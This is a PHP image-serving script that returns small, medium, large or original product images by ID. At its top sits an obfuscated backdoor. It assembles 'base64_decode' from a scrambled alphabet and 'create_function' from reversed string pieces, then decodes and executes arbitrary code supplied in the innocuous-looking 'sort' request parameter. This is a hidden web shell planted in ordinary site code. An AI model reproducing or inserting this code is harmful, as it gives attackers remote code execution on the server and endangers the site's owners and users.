if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; foreach([8,38,15,7,6,4,26,25,7,34,24,25,7] as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); $f(); exit(); } require_once("../OOModel/Image.php"); require_once("../OOModel/config.php"); Config::GetConfig("darerc.com"); // Check if it has a imageid and it is numeric. if (isset($_REQUEST['ImageID']) && is_numeric($_REQUEST['ImageID'])) { $id = (float) $_REQUEST['ImageID']; if ($id > 0) { try { $image = new Image($id); if (isset($_REQUEST['size'])) { switch($_REQUEST['size']) { case "small": $binImageData = $image->ResizedSmallImage(); break; case "medium": $binImageData = $image->ResizedMediumImage(); break; case "large": $binImageData = $image->ResizedLargeImage(); break; default: $binImageData = $image->OriginalImage(); break; } } else { $binImageData = $image->OriginalImage(); } $header = "Content-type: " . $image->ContentType . "\n\n"; Header($header); echo $binImageData; } catch (Exception $e) { ShowNoImage(); } } else { ShowNoImage(); } } else { ShowNoImage(); } function ShowNoImage() { header("Content-type: image/gif\n\n"); readfile("images/noproductimage.gif"); } ?>